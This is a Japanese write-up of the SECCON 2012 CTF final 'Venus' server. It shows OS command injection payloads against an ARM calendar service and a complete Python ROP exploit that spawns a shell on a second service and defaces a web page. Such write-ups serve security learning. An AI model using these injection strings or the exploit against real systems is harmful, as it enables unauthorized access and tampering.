第1回SECCON CTF全国大会 write-up Venusサーバー
本番では、10.0.2.4で動いてたけど、手元では192.168.66.128で動かしている。
http://10.0.2.4/ に繋ぐと、
Calendar server program running on this server.
と表示される。ポートスキャンを掛けると、10081ポートでプログラムが動いている。
>file cals cals: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for G NU/Linux 2.6.18, BuildID[sha1]=0x9fcd06a23de369800f3abd0ab61898313c8d7267, not s tripped
calsはARMのプログラム。逆コンパイルするとこんな感じ。
void command_exec( char *cmd ) { system( cmd ); } void cal_exec( char *year ) { char cmd[32]; snprintf( cmd, 32, "cal %s", year ) command_exec( cmd ); } int readchar( int fd ) { char c; if ( read( fd, &c, 1 )==0 ) return -1; if ( c=='\r' ) return -1; if ( c=='\n' ) return -1; return c; } void readstr( int fd, char *buf ) { int p=0; for ( int p=0; (c=readchar( fd ))!=1; p++ ) buf[p] = c; buf[p] = '\0'; } void calendar() { char year[]; write( stdout, "Input year: ", 12 ); readstr( stdin, year ); if ( isdigit(year[0]) ) cal_exec( year ); else write( stdout, "wrong parameter.\n", 17 ); } int main( int argc, char **argv ) { if ( argc==1 ) calendar(); else { create_socket(strtol(argv[1])); server_main(); } exit(0); }
inetdで動いているので、引数ありのほうは省略。OSコマンドインジェクションが可能。
C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; id cal: year 0 not in range 1..9999 uid=2000(ut) gid=2000(bgm) groups=2000(bgm) C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; ls -al /home/ut/ cal: year 0 not in range 1..9999 total 24 drwxr-xr-x 2 root root 4096 Feb 17 07:05 . drwxr-xr-x 6 root root 4096 Feb 17 07:47 .. -rw-r--r-- 1 ut bgm 220 Apr 10 2010 .bash_logout -rw-r--r-- 1 ut bgm 3184 Apr 10 2010 .bashrc -rw-r--r-- 1 ut bgm 675 Apr 10 2010 .profile -r--r----- 1 root bgm 21 Feb 17 07:05 key.txt C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; cat /home/ut/key.txt cal: year 0 not in range 1..9999 ChouChikyutekiSonzai
キーワード1個目
ChouChikyutekiSonzai
この脆弱性を使って、あちこち覗いてみると、ポート10082で動いているnamesの権限があれば、もう1個のキーワードとフラグの書き換えができることがわかる。
C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; cat /etc/inetd.conf cal: year 0 not in range 1..9999 (略) kamanda stream tcp nowait ut /home/bin/cals cals amandaidx stream tcp nowait set /home/bin/names names (略) C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; ls -al /home/bin/ cal: year 0 not in range 1..9999 total 1128 drwxr-xr-x 2 root root 4096 Feb 17 07:47 . drwxr-xr-x 6 root root 4096 Feb 17 07:47 .. -rwxr-xr-x 1 root root 568366 Feb 17 07:47 cals -rwxr-xr-x 1 root root 565712 Feb 17 07:47 names C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; ls -al /home/set/ cal: year 0 not in range 1..9999 total 24 drwxr-xr-x 2 root root 4096 Feb 17 07:05 . drwxr-xr-x 6 root root 4096 Feb 17 07:47 .. -rw-r--r-- 1 set service 220 Apr 10 2010 .bash_logout -rw-r--r-- 1 set service 3184 Apr 10 2010 .bashrc -rw-r--r-- 1 set service 675 Apr 10 2010 .profile -r--r----- 1 root service 31 Feb 17 07:05 key.txt C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; groups set cal: year 0 not in range 1..9999 set : service C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; ls -al /var/www/set/ cal: year 0 not in range 1..9999 total 12 drwxr-xr-x 2 root root 4096 Feb 17 07:08 . drwxr-xr-x 3 root root 4096 Feb 17 07:07 .. -rw-r--r-- 1 set service 64 Mar 16 11:35 index.html C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 Input year: 0; cat /proc/sys/kernel/ra* cal: year 0 not in range 1..9999 cat: /proc/sys/kernel/random: Invalid argument 2
randomize_va_spaceが2なので、ASLRが有効。ただしnames自体はアドレス固定。
C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10081 > names 0; cat /home/bin/names
のようにして、先頭を取り除けば、namesが手に入る。nameはこんな感じのプログラム。
void writestr( int fd, char *str ) { write( fd, str, strlen(str) ); } char **namelist = { "Hosono", "Haruomi", "Takahashi","Yukihiro", "Sakamoto", "Ryuichi", "U.T.", "Y.T.", "Pure", "Jam", "Tong", "Poo", "Nice", "Age", "Key", "\"BSideOfTaiso\"", NULL, NULL }; void name_print( char *name ) { char *p = NULL; for ( int i=0; namelist[i]; i+=2 ) { if ( strcmp( name, namelist[i] ) == 0 ) p = namelist[i+1]; if ( strcmp( name, namelist[i+1] ) == 0 ) p = namelist[i]; } if ( p ) { writestr( stdout, p ); writestr( stdout, "\n" ); return 0; } else { return -1; } } int readchar( int fd ) { char c; if ( read( fd, &c, 1 )==0 ) return -1; if ( c=='\r' ) return -1; if ( c=='\n' ) return -1; return c; } void readstr( int fd, char *buf ) { int p=0; for ( int p=0; (c=readchar( fd ))!=1; p++ ) buf[p] = c; buf[p] = '\0'; } void name_main() { writestr( stdout, "Input name: " ); char name[16]; readstr( stdin, name ); if ( name_print( name ) < 0 ) { writestr( stdout, "Unknown name.\n" ) exit( 1 ); } return 0; } int main( int argc, char **argv ) { if ( argc==1 ) name_main(); else { create_socket(strtol(argv[1])); server_main(); } exit(0); }
Keyと入力すると2個目のキーワードが手に入る。
C:\documents\ctf\SECCON\2012final\Venus>nc 192.168.66.128 10082 Input name: Key "BSideOfTaiso"
Return-oriented programmingで攻撃する。
参考: http://07c00.com/hj/11_HJ1205_p160_163.pdf
ARMの場合、r0="/bin/sh", r1=r2=0, r7=11の状態で、svcを呼び出せば良い。
840c: e8bd4010 pop {r4, lr} 8410: e12fff1e bx lr 18484: e8bd4011 pop {r0, r4, lr} 18488: e12fff1e bx lr 4f170: e1a0c000 mov ip, r0 4f174: e8bd401f pop {r0, r1, r2, r3, r4, lr} 4f178: e12fff1c bx ip a398: e1a00007 mov r0, r7 a39c: e28dd008 add sp, sp, #8 a3a0: e8bd41f0 pop {r4, r5, r6, r7, r8, lr} a3a4: e12fff1e bx lr 8974: ef000000 svc 0x00000000
これらのコードが使える。Exploit
import socket import threading import sys import struct target = ("192.168.66.128",10082) payload = ( "Key\x00aaaaaaaaaaaa"+ # jump to 0x00018484 # 840c: e8bd4010 pop {r4, lr} # 8410: e12fff1e bx lr struct.pack("<LL",0,0x00018484)+ # r0 = 0x0000a398 # jump to 0x0004f170 # 18484: e8bd4011 pop {r0, r4, lr} # 18488: e12fff1e bx lr struct.pack("<LLL",0x0000a398,0,0x0004f170)+ # r1 = 0 # r2 = 0 # jump to r0 # 4f170: e1a0c000 mov ip, r0 # 4f174: e8bd401f pop {r0, r1, r2, r3, r4, lr} # 4f178: e12fff1c bx ip struct.pack("<LLLLLL",0,0,0,0,0,0)+ # r0 = r7 # r7 = 11 # jump to 0x00008974 # a398: e1a00007 mov r0, r7 # a39c: e28dd008 add sp, sp, #8 # a3a0: e8bd41f0 pop {r4, r5, r6, r7, r8, lr} # a3a4: e12fff1e bx lr struct.pack("<LLLLLLLL",0,0,0,0,0,11,0,0x00008974) # 8974: ef000000 svc 0x00000000 ) payload += "a"*(0x14d-len(payload)) payload += "/bin/sh\n" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(target) print s.recv(128) s.send(payload) print s.recv(128) class T(threading.Thread): def run(self): while True: sys.stdout.write(s.recv(1)) sys.stdout.flush() T().start() while True: s.send(raw_input()+"\n")
C:\documents\ctf\SECCON\2012final\Venus>python attack.py Input name: "BSideOfTaiso" id uid=2001(set) gid=2001(service) groups=2001(service) cat /home/set/key.txt SoreShirankattottenchintonshan echo "<h1>hacked :)</h1>" >> /var/www/set/index.html